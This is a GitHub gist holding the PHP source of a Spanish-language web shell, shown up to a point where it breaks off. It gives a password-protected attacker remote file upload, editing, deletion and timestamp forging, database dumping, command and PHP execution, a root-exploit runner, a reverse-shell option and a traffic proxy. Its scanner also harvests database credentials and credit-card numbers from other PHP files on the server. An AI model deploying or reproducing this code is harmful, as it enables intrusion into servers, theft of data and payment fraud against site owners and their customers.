Skip to content

Instantly share code, notes, and snippets.

@EstebanFuentealba
Last active October 16, 2015 01:31
Show Gist options
  • Save EstebanFuentealba/182be17887e1838c56ef to your computer and use it in GitHub Desktop.
Save EstebanFuentealba/182be17887e1838c56ef to your computer and use it in GitHub Desktop.
<?PHP
if (!function_exists('http_chunked_decode')) {function http_chunked_decode($chunk) {$pos = 0;$len = strlen($chunk);$dechunk = null;while(($pos < $len)&& ($chunkLenHex =
substr($chunk,$pos, ($newlineAt = strpos($chunk,"\n",$pos+1))-$pos))){if (! is_hex($chunkLenHex)) {return $chunk;}$pos = $newlineAt + 1;$chunkLen = hexdec(rtrim($chunkLenHex,"\r\n"));$dechunk .= substr($chunk, $pos, $chunkLen);$pos = strpos($chunk, "\n", $pos + $chunkLen) + 1;}return $dechunk;}}
function is_hex($hex) {$hex = strtolower(trim(ltrim($hex,"0")));if (empty($hex)) { $hex = 0; };$dec = hexdec($hex);return ($hex == dechex($dec));}
function invalidrequest(){print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 25\r\n\r\n<h1>Invalid request!</h1>\r\n";exit;}
$servers=array();$path_finder=".";if(isset($_GET['path']))$path_finder=$_GET['path'];$users=array();$passwords=array();
$level=1;if(isset($_GET['level']))$level=$_GET['level'];$firmas=array("Estandar eval(base64_decode())"=>"/eval\s*\(\s*base64_decode\(\s*/","eval(gzinflate(base64_decode()))"=>"/eval\s*\(gzinflate\s*\(\s*base64_decode\s*\(\s*/","D4NB4R WAS HERE"=>"/D4NB4R WAS HERE/","md5(Safety)"=>"/6472ce41c26babff27b4c28028093d77/","md5(backdoor1)"=>"/f32e7903a13ff43da2ef1baf36adeca9/","WSO 2.1 (Web Shell by oRb)"=>"/10b27b168be0f7e90496dbc5fcfa63fc/","WSO 2.1 (Web Shell by oRb) 2"=>"/Web Shell by oRb/","milw0rm.com"=>"/milw0rm\.com/","exploit-db.com"=>"/exploit-db\.com/","FilesMan"=>"/preg_replace\s*\(\s*(\"|')\/\.\*\/e(\"|')/","CMD"=>'/(system|exec|passthru)\(\s*\$_GET\[([^\w\d]|\"|\')*cmd([^\w\d]|"|\')*\]\s*\)/',"CC's dump"=>"/num_tarjeta,codigo_sec,fecha_expira/i","root 12345"=>"/'root','12345'/i",);$level2=array("Pasarela (VPCPaymentConnection)"=>"/VPCPaymentConnection/","setSecureSecret(__GROUP__)"=>"/setSecureSecret\s*\(\s*(.+?)\s*\)/","__GROUP____PARSE_ARGS__"=>"/((ifx_connect|oci_connect|mysql_connect|pg_connect|mssql_connect|odbc_connect)\s*\(\s*.+?\s*\)\s*;)/i");if(intval($level)>1){$firmas=array_merge($firmas,$level2);}$level3=array("CC's (__GROUP__)"=>"/[^\w](cc_?num(ber)?|credit_?card|cod_?sec|cvv|num_?cad|num_?exp|tarjeta|numero_?tarjeta|vence_?mes|vence_?ano|c_seg|exp_code?)[^\w]/i","Visa CC's (__GROUP__)"=>"/[^\d\w]((?:4[0-9]{12}(?:[0-9]{3})?)[^\d\w]/","MasterCard CC's (__GROUP__)"=>"/[^\d\w](5[1-5][0-9]{14})[^\d\w]/","American Express CC's (__GROUP__)"=>"/([^\d\w]3[47][0-9]{13}[^\d\w])/");
function logscreen($data){ print $data; } function recursivo($path){global $firmas;global $users;global $passwords;global $servers;$dh=opendir($path);while (($file = readdir($dh)) !== false) {if(!preg_match("/^\.+$/",$file)){$dir=$path."/".$file;if(is_dir($dir)){recursivo($dir);} elseif(preg_match("/\.php(\.[\w\d]*)?$/i",$file)){$fh=fopen($dir,"r");$leidas=0;while(($linea=fread($fh,2048))!==false){foreach($firmas as $descripcion => $firma){if(preg_match($firma,$linea,$match_groups)){$especial=0;if(preg_match("/__PARSE_ARGS__/",$descripcion)){$descripcion=preg_replace("/__PARSE_ARGS__/",'',$descripcion);$especial=1;}logscreen("<b>[-] Found: </b>".$dir."<br />\n");logscreen("<b>[i]Firma: </b>".preg_replace("/__GROUP__/",$match_groups[1],$descripcion)."<br /><br />\n");if($especial==1){$mina=$match_groups[1];$mina=preg_replace("/^.+?\(\s*/","",$mina);$mina=preg_replace("/\s*\)\s*;$/","",$mina);if(preg_match("/^(['\"])$/",$mina[0],$sepa)){$cadena=1;$separador=$sepa[1];$argss=array();$tmparg="";for($i=1; $i<strlen($mina); $i++){if($mina[$i]==$separador && $cadena==1){$cadena=0;$argss[]=$tmparg;$tmparg="";continue;}if($cadena==1){$tmparg.=$mina[$i];}else{if(preg_match("/^(['\"])$/",$mina[$i],$sepa)){$cadena=1;$separador=$sepa[1];}}}if($argss[0]!=''){$servers[]=$argss[0];}if($argss[1]!=''){$users[]=$argss[1];}if($argss[2]!=''){$passwords[]=$argss[2];}}}break 2;}}$leidas+=1;if($leidas>200){break;}}}}}} function shellfinder(){global $users;global $passwords;global $servers;global $path_finder;error_reporting(E_ALL);@apache_setenv('no-gzip', 1);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);for ($i = 0; $i < ob_get_level(); $i++){ob_end_flush();}ob_implicit_flush(1);set_time_limit(0);$level=$_GET['level'];if(intval($level)>2){$firmas=array_merge($firmas,$level3);}logscreen("<b>[-] Buscando...</b><br />\n");recursivo($path_finder);$servers=array_unique($servers);$users=array_unique($users);$passwords=array_unique($passwords);if(count($servers)>0){logscreen("<b>[-] Servers encontrados:</b><br />\n");foreach($servers as $server){print $server."<br />";}}if(count($users)>0){logscreen("<b>[-] Usuarios encontrados:</b><br />\n");foreach($users as $user){print $user."<br />";}}if(count($passwords)>0){logscreen("<b>[-] Passwords encontrados:</b><br />\n");foreach($passwords as $password){print $password."<br />";}} exit;}
error_reporting(7);
@set_magic_quotes_runtime(0);
@setlocale(LC_CTYPE, "en_US.UTF-8");
#pendiente de comprimir
if(isset($_GET['protesterona'])){
if(isset($_GET['sn'])){
$allow_url_fopen=ini_get('allow_url_fopen');
$sockets=0;
$sniffer=0;
$snifferror_code='';
$snifferror_message='';
if(function_exists('fsockopen')){$sockets2=1;
}$ssl=1;
if (!extension_loaded('openssl')) {$ssl=0;
}if(function_exists('socket_create')){$sockets=1;
$socket = @socket_create(AF_INET , SOCK_RAW , SOL_TCP);
if($socket){$buf=@socket_read($socket, 65536);
$sniffer=1;
}else
{$snifferror_code = '['.socket_last_error().'] ';
$snifferror_message = socket_strerror($error_code);
}}if($ssl==1){print '<b>[-] SSL enabled!</b><br />';
}if($sockets2==1){print '<b>[-] fsockopen enabled!</b><br />';
} else {print '<b>[x] fsockopen disabled!</b><br />';
}if($sockets===1){print '<b>[-] Sockets enabled!</b><br />';
}else {print "<b>[x] Sockets disabled! :(</b><br />";
}if($sniffer===1){echo "<b>[-] I can sniff!! :D...</b>\n";
} else {echo "<b>[x] I can't sniff :(".$snifferror_code.$snifferror_message."</b><br />";
}if($allow_url_fopen===false){print '<b>[x] init_get not support allow_url_fopen :S<b><br />';
} else {print '<b>['.($allow_url_fopen=='1' ? '-' : 'x').'] init_get(\'allow_url_fopen\')='.$allow_url_fopen.' ('.($allow_url_fopen=='1' ? 'on' : 'off').')<b><br />';
}
}
$dossl=false;
if(isset($_POST['request'])){
$host=$_POST['host'];
if(preg_match("/^do-ssl-zero\./",$host)){
$dossl=true;
$host=preg_replace("/^do-ssl-zero\./","",$host);
}
$port=$_POST['port'];
$request=preg_replace("/Accept-Encoding:\s+([^\r\n]+)\r?\n/","",base64_decode($_POST['request']));
$address = gethostbyname($host);
$socktype='fsockopen';
if (function_exists('socket_create') || function_exists('fsockopen')){
if((FALSE!==($socket=fsockopen(($dossl ? 'ssl://' : '').$host,$port)) || (function_exists('socket_create') && ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and socket_connect($socket, $address, $port) && $socktype=='socket'))){
if($socktype=='socket')
@socket_write($socket, $request);
else
@fwrite($socket, $request);
$buf='';
if($socktype=='socket'){
while(false !== ($buf = socket_read($socket, 2048))) {
if($buf=='') break;
print $buf;
}
} else {
$allbuffer="";
$header_ssl="";
$body_ssl="";
$saltar_ssl=0;
$found_crlf=0;
$procesar=true;
while (($buf = fgets($socket)) !== false) {
if($procesar){
if($found_crlf==1 || preg_match("/\r?\n\r?\n/",$header_ssl)){
if($found_crlf==0){
$found_crlf=1;
if(!preg_match("/Content-Type:\s+(application\/javascript|text\/html)/i",$header_ssl)){
$procesar=false;
print $header_ssl.$buf;
$header_ssl="";
}
}
$body_ssl.=$buf;
} else {
$header_ssl.=$buf;
}
} else {
print $buf;
}
}
if($procesar){
if(preg_match("/Transfer-Encoding:\s+chunked\r?\n/",$header_ssl)){
$body_ssl=http_chunked_decode($body_ssl);
}
$header_ssl=preg_replace("/Transfer-Encoding:\s+chunked\r?\n/","",$header_ssl);
$header_ssl=preg_replace("/https:\/\//","http://do-ssl-zero.",$header_ssl);
$body_ssl=preg_replace("/https:\/\//","http://do-ssl-zero.",$body_ssl);
print $header_ssl.$body_ssl;
}
}
if($socktype=='socket')
@socket_close($socket);
else
@fclose($socket);
} else {
$disphost=($dossl ? 'ssl://' : '').$host;
print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: ".(strlen($disphost)+29)."\r\n\r\n<h1>Server not found: ".$disphost."</h1>\r\n";
}
} elseif(ini_get('allow_url_fopen')=='1'){
if(preg_match("/^(.+?)\r?\n\r?\n(.*)$/ms",$request,$parser1)){
$params = array('http' => array('method' => 'GET','header'=>"",));
$header=$parser1[1];
$content=$parser1[2];
$header=str_replace("\r","",$header);
$headers=explode("\n",$header);
$fline=array_shift($headers);
$urltarget="";
if(preg_match("/^(\w+)\s+([^\s]+)\s+(HTTP\/(\d\.\d))$/",$fline,$flineparsed)){
if(!preg_match("/^(GET|POST|HEAD|PUT|OPTIONS)$/i",$flineparsed[1])){invalidrequest();
}$params['http']['method']=$flineparsed[1];
if(preg_match("/^http:/i",$flineparsed[2])){
$urltarget=$flineparsed[2];
} else {
$urltarget="http://".$host.($port!='80' ? ":".$port : '').$flineparsed[2];
}
} else {
invalidrequest();
}
$next_header="";
foreach($headers as $head){
if(!preg_match("/^(Content-Length|Connection|Accept-Encoding)/i",$head)){
$next_header.=$head."\r\n";
}
}
$params['http']['header']=$next_header;
if($content!='')$params['http']['content']=$content;
$context = @stream_context_create($params);
$openfile=@fopen($urltarget, 'r',false, $context);
if(isset($http_response_header)){
foreach($http_response_header as $rhead){
print $rhead."\r\n";
}
print "\r\n";
}
if ($openfile) {while (($buf = @fgets($openfile, 2048)) !== false) {echo $buf;}@fclose($openfile);}}} else {print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 26\r\n\r\n<h1>Server not usable</h1>\r\n";}}exit;}
#pendiente de comprimir
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0);
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {foreach($$_request as $_key => $_value) {if ($_key{0} != '_') {if (IS_GPC) {$_value = s_array($_value);}$$_key = $_value;}}}$admin = array();
$admin['check'] = true;
$admin['pass'] = 'bb75d74adc666860d7fe226ed0ca0277';
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
$charsetdb = array('armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','eucjpms','euckr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'
);
if ($charset == 'utf8') {header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {header("content-Type: text/html; charset=iso-8859-2");
} elseif ($charset == 'euckr') {header("content-Type: text/html; charset=euc-kr");
} elseif ($charset == 'eucjpms') {header("content-Type: text/html; charset=euc-jp");
}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
if ($action == "logout") {scookie('loginpass', '', -86400 * 365);p('<meta http-equiv="refresh" content="1;URL='.$self.'">');p('<a style="font:12px Verdana" href="'.$self.'">Adios, no vuelvas!!</a>');exit;
}if($admin['check']) {if ($doing == 'login') {if ($admin['pass'] == md5($password)) {scookie('loginpass', md5($password));p('<meta http-equiv="refresh" content="1;URL='.$self.'">');p('<a style="font:12px Verdana" href="'.$self.'">Ingresando...</a>');exit;}}if ($_COOKIE['loginpass']) {if ($_COOKIE['loginpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}if(isset($_GET['sf'])) shellfinder();$errmsg = '';ob_start();if ($action == 'phpinfo') {if (IS_PHPINFO) {phpinfo();exit;} else {$errmsg = 'phpinfo() no esta habilitado';}}if ($doing == 'downfile' && $thefile) {if (!@file_exists($thefile)) {$errmsg = 'El archivo que desea descargar no existe';} else {$fileinfo = pathinfo($thefile);header('Content-type: application/x-'.$fileinfo['extension']);header('Content-Disposition: attachment; filename='.$fileinfo['basename']);header('Content-Length: '.filesize($thefile));@readfile($thefile);exit;}}if ($doing == 'backupmysql' && !$saveasfile) {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);$table = array_flip($table);$result = q("SHOW tables");if (!$result) p('<h2>'.mysql_error().'</h2>');$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');header('Content-type: application/unknown');header('Content-Disposition: attachment; filename='.$filename);$mysqldata = '';while ($currow = mysql_fetch_array($result)) {if (isset($table[$currow[0]])) {$mysqldata .= sqldumptable($currow[0]);}}mysql_close();exit;
}if($doing=='mysqldown'){if (!$dbname) {$errmsg = 'Ingrese el dbname';} else {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);if (!file_exists($mysqldlfile)) {$errmsg = 'El archivo que desea descargar no existe';} else {$result = q("select load_file('$mysqldlfile');");if(!$result){q("DROP TABLE IF EXISTS tmp_angel;");q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");$result = q("select content from tmp_angel");q("DROP TABLE tmp_angel");}$row = @mysql_fetch_array($result);if (!$row) {$errmsg = 'Load file failed '.mysql_error();} else {$fileinfo = pathinfo($mysqldlfile);header('Content-type: application/x-'.$fileinfo['extension']);header('Content-Disposition: attachment; filename='.$fileinfo['basename']);header("Accept-Length: ".strlen($row[0]));echo $row[0];exit;}}}}if(isset($_GET['rt'])){?>
<form action="?rt" method="POST">
<table>
<tr><td><b>Exploit: <b></td><td><input type="text" name="exploit" value="<?php if(isset($_POST['exploit'])){print htmlentities($_POST['exploit']);} else {print '/tmp/2.6.18-56'; } ?>"></td></tr>
<tr><td><b>CMD: <b></td><td><textarea type="text" name="cmd" rows="4" cols="50"><?php if(isset($_POST['cmd'])){print htmlentities($_POST['cmd']);} ?></textarea></td></tr>
<tr><td></td><td><input type="submit" value="Run as R00t"></td></tr>
</table>
</form>
<?php
if(isset($_POST['cmd'])){$fp = fopen('/tmp/cmd.txt', 'w');fwrite($fp, $_POST['cmd']."\n");fwrite($fp, "exit\n");fclose($fp);print "<pre>".htmlentities(execute("cat /tmp/cmd.txt | ".$_POST['exploit']))."</pre>";}exit;
}?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','P.h.p.-.-.-');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}a {color: #00f;text-decoration:underline;}a:hover{color: #f00;text-decoration:none;}.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}</style>
<script type="text/javascript">
function CheckAll(form) {for(var i=0;i<form.elements.length;i++) {var e = form.elements[i];if (e.name != 'chkall')e.checked = form.chkall.checked;
}}function $(id) {return document.getElementById(id);
}function goaction(act){$('goaction').action.value=act;$('goaction').submit();
}</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><?php echo str_replace('.','','P.h.p.-.-.-');?> </span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<a href="javascript:goaction('logout');">Salir</a> |
<a href="javascript:goaction('file');">Archivos</a> |
<a href="javascript:goaction('mysqladmin');">MYSQL</a> |
<a href="javascript:goaction('mssqladmin');">MSSQL</a> |
<a href="javascript:goaction('sqlfile');">Subir/Bajar MySQLDB</a> |
<a href="javascript:goaction('shell');">Ejecutar Comando</a> |
<a href="javascript:goaction('phpenv');">Variables PHP</a> |
<a href="javascript:goaction('eval');">Ejecutar PHP</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Shell inversa</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
if (!$dir) {if ($_SERVER["DOCUMENT_ROOT"]) {$dir = $_SERVER["DOCUMENT_ROOT"];} else {$dir = '.';}}$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {$dir = $dir.'/';
}$uedir = ue($dir);
if (!$action || $action == 'file') {$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';if ($doing == 'deldir' && $thefile) {if (!file_exists($thefile)) {m($thefile.' El directorio no existe');} else {m('Borrado '.(deltree($thefile) ? basename($thefile).' exitoso' : 'fallido'));}}elseif ($newdirname) {$mkdirs = $nowpath.$newdirname;if (file_exists($mkdirs)) {m('El directorio ya existe');} else {m('Directorio creado '.(@mkdir($mkdirs,0777) ? 'exitoso' : 'fallido'));@chmod($mkdirs,0777);}}elseif ($doupfile) {m('Upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'exitoso' : 'fallido'));}elseif ($editfilename && $filecontent) {$fp = @fopen($editfilename,'w');m('Guardado '.(@fwrite($fp,$filecontent) ? 'exitoso' : 'fallido'));@fclose($fp);}elseif ($pfile && $newperm) {if (!file_exists($pfile)) {m('El archivo original no existe');} else {$newperm = base_convert($newperm,8,10);m('Modificar atributos '.(@chmod($pfile,$newperm) ? 'exitoso' : 'fallido'));}}elseif ($oldname && $newfilename) {$nname = $nowpath.$newfilename;if (file_exists($nname) || !file_exists($oldname)) {m($nname.' has already existed or original file does not exist');} else {m(basename($oldname).' renombrado '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));}}elseif ($sname && $tofile) {if (file_exists($tofile) || !file_exists($sname)) {m('The goal file has already existed or original file does not exist');} else {m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));}}elseif ($curfile && $tarfile) {if (!@file_exists($curfile) || !@file_exists($tarfile)) {m('The goal file has already existed or original file does not exist');} else {$time = @filemtime($tarfile);m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'exitoso' : 'fallido'));}}elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {if (!@file_exists($curfile)) {m(basename($curfile).' does not exist');} else {$time = strtotime("$year-$month-$day $hour:$minute:$second");m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'exitoso' : 'fallido'));}}elseif($doing == 'downrar') {if ($dl) {$dfiles='';foreach ($dl as $filepath => $value) {$dfiles.=$filepath.',';}$dfiles=substr($dfiles,0,strlen($dfiles)-1);$dl=explode(',',$dfiles);$zip=new PHPZip($dl);$code=$zip->out;header('Content-type: application/octet-stream');header('Accept-Ranges: bytes');header('Accept-Length: '.strlen($code));header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');echo $code;exit;} else {m('Please select file(s)');}}elseif($doing == 'delfiles') {if ($dl) {$dfiles='';$succ = $fail = 0;foreach ($dl as $filepath => $value) {if (@unlink($filepath)) {$succ++;} else {$fail++;}}m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);} else {m('Please select file(s)');}}formhead(array('name'=>'createdir'));makehide('newdirname');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'fileperm'));makehide('newperm');makehide('pfile');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'copyfile'));makehide('sname');makehide('tofile');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'rename'));makehide('oldname');makehide('newfilename');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'fileopform', 'target'=>'_blank'));makehide('action');makehide('opfile');makehide('dir');formfoot();formhead(array('name'=>'getsize'));makehide('getdir');makehide('dir');formfoot();$free = @disk_free_space($nowpath);!$free && $free = 0;$all = @disk_total_space($nowpath);!$all && $all = 0;$used = $all-$free;$used_percent = @round(100/($all/$free),2);p('<h2>Archivos// - Espacio en disco '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Ruta Actual (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="IR A RUTA" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){var newdirname;newdirname = prompt('Ingrese el nombre del directorio:', '');if (!newdirname) return;$('createdir').newdirname.value=newdirname;$('createdir').submit();
}function fileperm(pfile){var newperm;newperm = prompt('Archivo:'+pfile+'\nIngrese los nuevos atributos:', '');if (!newperm) return;$('fileperm').newperm.value=newperm;$('fileperm').pfile.value=pfile;$('fileperm').submit();
}function copyfile(sname){var tofile;tofile = prompt('Ruta actual:'+sname+'\nIngrese la ruta donde se copiara:', '');if (!tofile) return;$('copyfile').tofile.value=tofile;$('copyfile').sname.value=sname;$('copyfile').submit();
}function rename(oldname){var newfilename;newfilename = prompt('Nombre actual:'+oldname+'\nIngrese un nuevo nombre:', '');if (!newfilename) return;$('rename').newfilename.value=newfilename;$('rename').oldname.value=oldname;$('rename').submit();
}function dofile(doing,thefile,m){if (m && !confirm(m)) {return;}$('filelist').doing.value=doing;if (thefile){$('filelist').thefile.value=thefile;}$('filelist').submit();
}function createfile(nowpath){var filename;filename = prompt('Ingrese el nombre del archivo:', '');if (!filename) return;opfile('editfile',nowpath + filename,nowpath);
}function opfile(action,opfile,dir){$('fileopform').action.value=action;$('fileopform').opfile.value=opfile;$('fileopform').dir.value=dir;$('fileopform').submit();
}function godir(dir,view_writable){if (view_writable) {$('godir').view_writable.value=view_writable;}$('godir').dir.value=dir;$('godir').submit();
}function getsize(getdir,dir){$('getsize').getdir.value=getdir;$('getsize').dir.value=dir;$('getsize').submit();
}</script>
<?php
$findstr = $_POST['findstr'];$re = $_POST['re'];tbhead();p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');p(' | <a href="javascript:godir(\'.\');">Ruta Shell</a>');p(' | <a href="javascript:godir(\''.$nowpath.'\');">Ver todo</a>');p(' | View Writable (<a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directorio</a>');p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">Archivo</a>)');p(' | <a href="javascript:createdir();">Crear Directorio</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Crear Archivo</a>');if (IS_WIN && IS_COM) {$obj = new COM('scripting.filesystemobject');if ($obj && is_object($obj) && is_array($obj->Drives)) {$DriveTypeDB = array(0 => 'Unknown',1 => 'Removible',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');foreach($obj->Drives as $drive) {if ($drive->DriveType == 2) {p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Libre:'.sizecount($drive->FreeSpace).'&#13;Tipo:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');} else {p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Tipo:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');}}}}p('<br /><form action="'.$self.'" method="POST">Buscar texto en archivos: <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Buscar" type="submit" /> Extension: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Expresiones regulares</form></td></tr>');p('<tr class="head"><td>&nbsp;</td><td>Nombre</td><td width="16%">Ultima modificacion</td><td width="10%">Size</td><td width="20%">Chmod / Permiso</td><td width="22%">Acciones</td></tr>');$dirdata=array();$filedata=array();if ($view_writable == 'dir') {$dirdata = GetWDirList($nowpath);$filedata = array();} elseif ($view_writable == 'file') {$dirdata = array();$filedata = GetWFileList($nowpath);} elseif ($findstr) {$dirdata = array();$filedata = GetSFileList($nowpath, $findstr, $re);} else {$dirs=@opendir($dir);while ($file=@readdir($dirs)) {$filepath=$nowpath.$file;if(@is_dir($filepath)){$dirdb['filename']=$file;$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));$dirdb['dirchmod']=getChmod($filepath);$dirdb['dirperm']=getPerms($filepath);$dirdb['fileowner']=getUser($filepath);$dirdb['dirlink']=$nowpath;$dirdb['server_link']=$filepath;$dirdb['client_link']=ue($filepath);$dirdata[]=$dirdb;} else {$filedb['filename']=$file;$filedb['size']=sizecount(@filesize($filepath));$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));$filedb['filechmod']=getChmod($filepath);$filedb['fileperm']=getPerms($filepath);$filedb['fileowner']=getUser($filepath);$filedb['dirlink']=$nowpath;$filedb['server_link']=$filepath;$filedb['client_link']=ue($filepath);$filedata[]=$filedb;}}unset($dirdb);unset($filedb);@closedir($dirs);}@sort($dirdata);@sort($filedata);$dir_i = '0';foreach($dirdata as $key => $dirdb){if($dirdb['filename']!='..' && $dirdb['filename']!='.') {if($getdir && $getdir == $dirdb['server_link']) {$attachsize = dirsize($dirdb['server_link']);$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';} else {$attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Calcular</a>';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');p('<td nowrap>'.$dirdb['mtime'].'</td>');p('<td nowrap>'.$attachsize.'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Esta seguro de borrar <'.$dirdb['filename'].'>? \\n\\nSi el directorio no esta vacio, todos los archivos se borraran.\')">Borrar</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Renombrar</a></td>');p('</tr>');$dir_i++;} else {if($dirdb['filename']=='..') {p('<tr class='.bg().'>');p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent 